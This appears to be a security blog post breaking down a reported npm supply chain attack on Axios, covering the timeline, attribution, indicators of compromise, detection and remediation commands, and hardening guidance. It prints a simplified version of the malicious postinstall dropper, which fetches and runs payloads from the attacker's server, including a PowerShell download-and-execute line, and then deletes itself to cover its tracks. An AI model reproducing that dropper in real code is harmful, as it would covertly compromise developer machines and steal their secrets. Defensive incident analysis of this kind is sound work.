Axios npm Supply Chain Attack: What Happened, How It Works, and How to Protect Your Projects
A complete breakdown of the March 2026 Axios npm supply chain attack. Understand how attackers compromised a 100M weekly download package to deploy a cross-platform RAT, with step-by-step detection and remediation guidance.
Axios npm Supply Chain Attack: What Happened, How It Works, and How to Protect Your Projects
On March 30-31, 2026, attackers compromised the official Axios npm package - a JavaScript HTTP client with over 100 million weekly downloads - and pushed malicious versions that silently installed a cross-platform Remote Access Trojan (RAT) on every machine that ran npm install. The attack exploited a hijacked maintainer account, injected a malicious dependency, and used multi-layered obfuscation to evade detection. It was live for roughly three hours before being pulled, but in the npm ecosystem, three hours is enough to reach thousands of build pipelines, developer machines, and production servers.
This post covers the full technical breakdown of the attack, who was behind it, how to detect if you were affected, and the concrete steps you need to take to protect your projects from this class of attack going forward.
Timeline of the Attack
Understanding the timeline is critical for determining whether your systems were exposed.
| Time (UTC) | Event |
|---|---|
| ~Mar 30, 18:00 | Attacker registers plain-crypto-js@4.2.1 on npm - the malicious dependency staged 18 hours before the main attack |
| ~Mar 30, 23:28 | Domain sfrclak.com registered via Dynadot LLC for C2 infrastructure |
| ~Mar 30, 23:35 | Associated domain callnrwise.com registered 53 minutes before sfrclak.com, pointing to the same IP (142.11.206.73) |
| Mar 31, 00:21 | axios@1.14.1 published to npm from compromised maintainer account |
| Mar 31, ~01:00 | axios@0.30.4 published - targeting the legacy 0.x branch |
| Mar 31, 01:50 | Elastic Security Labs files GitHub Security Advisory after automated supply chain monitoring flags the anomaly |
| Mar 31, ~03:15 | Malicious versions pulled from npm registry |
| Mar 31, ~03:29 | npm confirms removal of both compromised versions |
| Mar 31 | Google Threat Intelligence Group attributes the attack to North Korean threat actor UNC1069 |
Exposure window: approximately 00:21 - 03:15 UTC on March 31, 2026 (roughly 3 hours).
How the Attack Worked
The attack was a textbook supply chain compromise executed with unusual precision. Here is each stage in detail.
Stage 1: Maintainer Account Compromise
The attacker gained control of the npm account belonging to jasonsaayman, one of the primary maintainers of Axios. The associated email was changed to an attacker-controlled address (ifstap@proton.me). It is not yet confirmed whether the account was compromised via credential theft, phishing, session hijacking, or a leaked long-lived npm access token. Both release branches (latest 1.x and legacy 0.x) were poisoned within a 39-minute window.
Stage 2: Malicious Dependency Injection
Rather than modifying the Axios source code directly (which would be more visible in diffs), the attacker added a single new dependency to package.json:
{
"dependencies": {
"plain-crypto-js": "^4.2.1"
}
}This package - plain-crypto-js@4.2.1 - was never imported anywhere in the Axios source code. It existed solely to exploit npm's postinstall lifecycle hook. The package had been staged on npm 18 hours before the main attack, giving it time to clear any basic automated scanning.
Stage 3: The Dropper (setup.js)
When a developer ran npm install, npm automatically executed the postinstall script defined in plain-crypto-js's package.json. This triggered setup.js - an obfuscated JavaScript dropper.
The dropper used two layers of obfuscation:
- Reversed Base64 encoding with padding character substitution
- XOR cipher with key
OrDeR_7077and a constant value of 333
Here is a simplified representation of what the deobfuscated dropper did:
// Simplified representation of the malicious setup.js logic
const os = require('os');
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const platform = os.platform();
const c2 = 'sfrclak.com:8000';
if (platform === 'darwin') {
// macOS: Download Mach-O binary disguised as Apple daemon
download(`${c2}/product0`, '/Library/Caches/com.apple.act.mond');
execSync('chmod +x /Library/Caches/com.apple.act.mond');
execSync('/Library/Caches/com.apple.act.mond &');
} else if (platform === 'win32') {
// Windows: In-memory PowerShell execution (no file drop)
execSync(`powershell -ep bypass -c "IEX(irm ${c2}/product1)"`);
} else {
// Linux: Python-based RAT
download(`${c2}/product2`, '/tmp/ld.py');
execSync('python3 /tmp/ld.py &');
}
// Self-destruct: remove traces
fs.unlinkSync(__filename);
fs.unlinkSync('package.json');
fs.renameSync('package.md', 'package.json'); // Replace with clean versionKey detail: within two seconds of npm install, the malware was already calling home to the attacker's C2 server - before npm had even finished resolving the rest of the dependency tree.
Stage 4: Platform-Specific RAT Payloads
Each operating system received a tailored payload:
macOS: A compiled Mach-O binary dropped to /Library/Caches/com.apple.act.mond. The filename deliberately spoofs Apple's background daemon naming convention (com.apple.*) to blend into the filesystem. This binary has been linked to WAVESHAPER, a C++ backdoor previously attributed to North Korean operations.
Windows: In-memory execution via PowerShell with no file written to disk, making forensic detection significantly harder. The payload downloads and executes directly in memory.
Linux: A Python-based RAT dropped to /tmp/ld.py. The filename mimics the dynamic linker (ld) to appear innocuous in process listings.
Stage 5: Persistence and Beaconing
Once active, the RAT performed the following actions:
- System fingerprinting - collected OS version, hostname, username, network interfaces
- File listing - enumerated directories likely to contain secrets (
.env,.ssh,.aws, config directories) - Beaconing - sent collected data to
sfrclak.com:8000via HTTP POST every 60 seconds - Command execution - waited for instructions from the C2 server, enabling the attacker to run arbitrary commands
Stage 6: Self-Destruction
After executing the payload, the dropper deleted itself and replaced its own package.json with a clean version to evade forensic detection. This meant that looking at the installed node_modules/plain-crypto-js directory after the fact would not reveal the malicious setup.js file - it was already gone.
Attribution: North Korean Threat Actor UNC1069
Google's Threat Intelligence Group (Mandiant) has attributed this attack to UNC1069, a suspected North Korean threat actor. The attribution is based on:
- The macOS Mach-O binary exhibits significant code overlap with WAVESHAPER, a C++ backdoor previously tracked and attributed to UNC1069
- Infrastructure patterns consistent with prior North Korean campaigns targeting the software supply chain
- Operational tradecraft matching known DPRK-nexus tactics, including targeting developer tools and open-source ecosystems
This is consistent with the broader pattern of North Korean state-sponsored groups targeting the software supply chain to fund regime operations and conduct espionage.
Indicators of Compromise (IOCs)
Use these indicators to determine if your systems were affected.
Affected Packages
| Package | Malicious Version | Safe Versions |
|---|---|---|
axios | 1.14.1 | 1.14.0 and below, 1.14.2 and above |
axios | 0.30.4 | 0.30.3 and below |
plain-crypto-js | 4.2.1 | Any version is malicious - this package should not exist in your dependency tree |
Network IOCs
# C2 Domain and IP
sfrclak.com
callnrwise.com
142.11.206.73
# C2 Endpoints
sfrclak.com:8000/product0 (macOS payload)
sfrclak.com:8000/product1 (Windows payload)
sfrclak.com:8000/product2 (Linux payload)
Filesystem IOCs
# macOS RAT binary (disguised as Apple daemon)
/Library/Caches/com.apple.act.mond
# Windows RAT executable
%PROGRAMDATA%\wt.exe
# Linux RAT script
/tmp/ld.pyFile Hashes
# setup.js (the obfuscated dropper)
SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
Detection Commands
Check if you installed a compromised version:
# Check your lockfile for the malicious versions
grep -r "axios@1.14.1\|axios@0.30.4\|plain-crypto-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# Check node_modules directly
ls node_modules/plain-crypto-js 2>/dev/null && echo "COMPROMISED" || echo "Clean"
# Check npm cache
npm cache ls 2>/dev/null | grep -E "axios@(1\.14\.1|0\.30\.4)|plain-crypto-js"Check for RAT artifacts on your system:
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "RAT FOUND" || echo "Clean"
ps aux | grep "com.apple.act.mond" | grep -v grep
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "RAT FOUND" || echo "Clean"
ps aux | grep "ld.py" | grep -v grep
# All platforms: check for C2 connections
# macOS/Linux
lsof -i | grep -E "sfrclak|142\.11\.206\.73"
netstat -an | grep "142.11.206.73"Check CI/CD build logs:
# Search CI logs for the compromised install
grep -r "plain-crypto-js" /var/log/ci/ ~/.npm/_logs/ 2>/dev/null
# Check Docker image layers
docker history YOUR_IMAGE | grep -i axiosRemediation: Step-by-Step
If you determine that your systems installed a compromised version, follow these steps immediately.
Step 1: Assess Exposure
# Run this script to check all projects on your machine
find ~ -name "package-lock.json" -o -name "yarn.lock" -o -name "pnpm-lock.yaml" 2>/dev/null | while read lockfile; do
if grep -qE "axios@(1\.14\.1|0\.30\.4)|plain-crypto-js" "$lockfile" 2>/dev/null; then
echo "AFFECTED: $lockfile"
fi
doneStep 2: Quarantine Affected Machines
If a machine installed the compromised version:
- Isolate it from the network immediately - the RAT beacons every 60 seconds
- Do not just delete the malware - the attacker may have already established additional persistence
- Image the disk before remediation for forensic analysis
Step 3: Kill Active RAT Processes
# macOS
sudo kill $(pgrep -f "com.apple.act.mond") 2>/dev/null
sudo rm -f /Library/Caches/com.apple.act.mond
# Linux
kill $(pgrep -f "ld.py") 2>/dev/null
rm -f /tmp/ld.py
# Windows (PowerShell)
# Stop-Process -Name "wt" -Force -ErrorAction SilentlyContinue
# Remove-Item "$env:PROGRAMDATA\wt.exe" -Force -ErrorAction SilentlyContinueStep 4: Rotate ALL Secrets
This is the most critical step. Assume the attacker had access to everything on the compromised machine.
# Identify secrets that were accessible on the machine
echo "=== Check for exposed secrets ==="
# Environment variables (often contain API keys, DB passwords)
env | grep -iE "key|secret|token|password|api|auth" | cut -d= -f1
# AWS credentials
cat ~/.aws/credentials 2>/dev/null && echo "AWS credentials found - ROTATE"
# SSH keys
ls ~/.ssh/id_* 2>/dev/null && echo "SSH keys found - ROTATE"
# .env files in projects
find ~/Projects -name ".env*" -not -path "*/node_modules/*" 2>/dev/null
# npm tokens
cat ~/.npmrc 2>/dev/null | grep "authToken" && echo "npm token found - ROTATE"
# Git credentials
git config --global credential.helper && echo "Git credentials cached - ROTATE"
# Docker credentials
cat ~/.docker/config.json 2>/dev/null | grep "auth" && echo "Docker credentials found - ROTATE"
# Cloud provider tokens
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null && echo "GCP credentials found - ROTATE"
cat ~/.azure/accessTokens.json 2>/dev/null && echo "Azure tokens found - ROTATE"Rotate everything you find:
- npm tokens (revoke and regenerate on npmjs.com)
- AWS access keys
- SSH keys (regenerate and update authorized_keys on all servers)
- Database passwords
- API keys for third-party services
- CI/CD pipeline tokens (GitHub Actions secrets, GitLab CI variables)
- Docker registry credentials
- Cloud provider service account keys
Step 5: Update Axios to a Clean Version
# Remove the compromised version
rm -rf node_modules package-lock.json
# Install a known-safe version
npm install axios@1.14.0 # or the latest confirmed-safe version
# Verify no malicious dependency
! grep -q "plain-crypto-js" package-lock.json && echo "Clean" || echo "STILL COMPROMISED"
# Lock the version
npm shrinkwrapStep 6: Scan for Additional Persistence
The RAT may have installed additional backdoors during its execution window.
# macOS: Check for new LaunchDaemons/LaunchAgents
ls -lt /Library/LaunchDaemons/ ~/Library/LaunchAgents/ | head -20
# Linux: Check crontabs and systemd services
crontab -l
ls -lt /etc/systemd/system/ | head -20
ls -lt ~/.config/systemd/user/ 2>/dev/null | head -20
# All: Check for recently modified files in sensitive directories
find /usr/local/bin ~/.local/bin -mtime -2 -type f 2>/dev/null
find ~/.ssh -mtime -2 -type f 2>/dev/nullStep 7: Block IOCs at Network Level
# Add to your firewall/DNS blocklist
# iptables example
sudo iptables -A OUTPUT -d 142.11.206.73 -j DROP
# /etc/hosts block
echo "127.0.0.1 sfrclak.com" | sudo tee -a /etc/hosts
echo "127.0.0.1 callnrwise.com" | sudo tee -a /etc/hosts
# DNS sinkhole (if using Pi-hole or similar)
echo "sfrclak.com" >> /etc/pihole/blacklist.txt
echo "callnrwise.com" >> /etc/pihole/blacklist.txtPreventing Supply Chain Attacks: Hardening Your npm Workflow
This attack exploited a pattern that is alarmingly common: trusting that a package update from a known library is safe. Here are the concrete steps to prevent this class of attack.
1. Pin Exact Versions and Use Lockfiles
Never use floating version ranges in production dependencies.
{
"dependencies": {
"axios": "1.14.0",
"express": "4.21.2"
}
}# Always use npm ci in CI/CD - it respects the lockfile exactly
# Never use npm install in pipelines
npm ci
# Commit your lockfile to version control
git add package-lock.json
git commit -m "chore: lock dependency versions"2. Disable Lifecycle Scripts
The entire attack relied on the postinstall hook. Disable lifecycle scripts globally or per-project.
# Disable globally
npm config set ignore-scripts true
# Per-project (.npmrc in project root)
echo "ignore-scripts=true" >> .npmrc
# Then explicitly run scripts only for packages you trust
npm rebuild # when you actually need native modules built3. Implement a Package Cooldown Policy
Reject packages published within the last 72 hours. This gives the security community time to analyze new releases.
// .ncurc.js - configuration for npm-check-updates
module.exports = {
// Only allow packages older than 3 days
filterResults: (name, { current, latest, upgraded }) => {
// Custom validation logic in your CI pipeline
return true;
}
};For enterprise environments, use a private registry (Artifactory, Nexus, Verdaccio) with approval gates:
# Verdaccio config - require manual approval for new versions
packages:
'axios':
access: $all
publish: $authenticated
proxy: npmjs
# Add a webhook that triggers manual review for new versions4. Audit Dependencies in CI/CD
# GitHub Actions - audit dependencies on every PR
name: Dependency Audit
on: [pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Check for new/changed dependencies
run: |
# Compare lockfile changes
git diff origin/main -- package-lock.json | grep "+" | grep -E '"version"' || true
- name: Run npm audit
run: npm audit --audit-level=high
- name: Check for known malicious packages
run: npx socket-security/cli scan
- name: Verify no unexpected postinstall scripts
run: |
# List all packages with lifecycle scripts
find node_modules -name "package.json" -maxdepth 2 -exec \
node -e "
const pkg = require('./' + process.argv[1]);
if (pkg.scripts && (pkg.scripts.postinstall || pkg.scripts.preinstall || pkg.scripts.install)) {
console.log('LIFECYCLE SCRIPTS:', process.argv[1], JSON.stringify(pkg.scripts));
}
" {} \;5. Use npm Provenance and Package Signing
npm provenance links published packages to their source repository and build workflow, making it possible to verify that a package was built from the expected source code.
# Publish with provenance (for package maintainers)
npm publish --provenance
# Verify provenance of installed packages
npm audit signatures6. Monitor for Dependency Changes
# Use Socket.dev, Snyk, or Dependabot to monitor for:
# - New dependencies added to existing packages
# - Maintainer account changes
# - Unusual publish patterns (multiple versions in quick succession)
# - Packages with lifecycle scripts
# Simple local check script
#!/bin/bash
# save-deps-snapshot.sh - run this periodically
npm ls --all --json > deps-snapshot-$(date +%Y%m%d).json
# Compare with previous snapshot
diff <(jq -r '.dependencies | keys[]' deps-snapshot-prev.json) \
<(jq -r '.dependencies | keys[]' deps-snapshot-$(date +%Y%m%d).json)7. Scope npm Tokens and Enable 2FA
# Use automation tokens with limited scope for CI/CD
# Never use full-access tokens in pipelines
npm token create --read-only # for installing packages
npm token create --cidr-whitelist=192.168.1.0/24 # restrict by IP
# Enable 2FA for publishing (mandatory for package maintainers)
npm profile enable-2fa auth-and-writes
# Audit your active tokens regularly
npm token list8. Use a Software Bill of Materials (SBOM)
# Generate an SBOM for your project
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# In CI/CD, compare SBOM between builds to detect supply chain changes
diff <(jq '.components[].name' sbom-prev.json | sort) \
<(jq '.components[].name' sbom-current.json | sort)Lessons for the JavaScript Ecosystem
This attack exposes fundamental trust assumptions in the npm ecosystem:
-
A single maintainer token can compromise millions of systems. npm's security model delegates enormous trust to individual maintainers, and the consequences of a single compromised account are catastrophic.
-
Lifecycle scripts are a persistent attack vector. The
postinstallhook runs arbitrary code with the same privileges as the developer or CI pipeline. Most projects do not need lifecycle scripts from dependencies. -
The exposure window matters less than you think. Three hours was enough. Automated CI/CD pipelines, auto-update bots, and developer machines running
npm installduring that window were all compromised with zero user interaction. -
Self-destructing payloads defeat naive forensics. The malware deleted its own dropper and replaced its package.json with a clean version. Simply looking at
node_modulesafter the fact would not reveal the compromise. -
Version pinning without lockfile enforcement is insufficient. If you use
^1.14.0in package.json and your lockfile is not committed or enforced,npm installwill happily pull1.14.1.
The Axios attack is not the first npm supply chain compromise and it will not be the last. The defenses outlined in this guide - lifecycle script blocking, exact version pinning, lockfile enforcement, private registries, dependency monitoring, and token hygiene - are not optional security enhancements. They are baseline requirements for any team shipping JavaScript to production.